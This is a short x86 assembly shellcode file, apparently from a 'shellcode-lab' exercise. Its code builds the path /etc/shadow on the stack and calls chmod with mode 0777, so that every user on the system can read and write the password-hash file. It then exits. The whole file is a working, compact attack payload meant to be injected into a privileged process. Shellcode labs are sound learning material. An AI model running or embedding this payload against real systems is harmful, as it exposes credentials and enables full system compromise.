27 lines
429 B
NASM
27 lines
429 B
NASM
; shellcode-lab@hack4
|
|
; by dash
|
|
|
|
BITS 32
|
|
global _start
|
|
|
|
_start:
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
xor ecx, ecx
|
|
|
|
;chmod
|
|
mov cx, 0x1ff ;0777
|
|
push ebx ;null terminator
|
|
push 0x776f6461 ;/etc/shadow
|
|
push 0x68732f63
|
|
push 0x74652f2f
|
|
mov ebx, esp ;put the address of esp to ebx (shadow)
|
|
mov al, 15
|
|
int 0x80
|
|
|
|
;exit
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
mov al, 1
|
|
int 0x80
|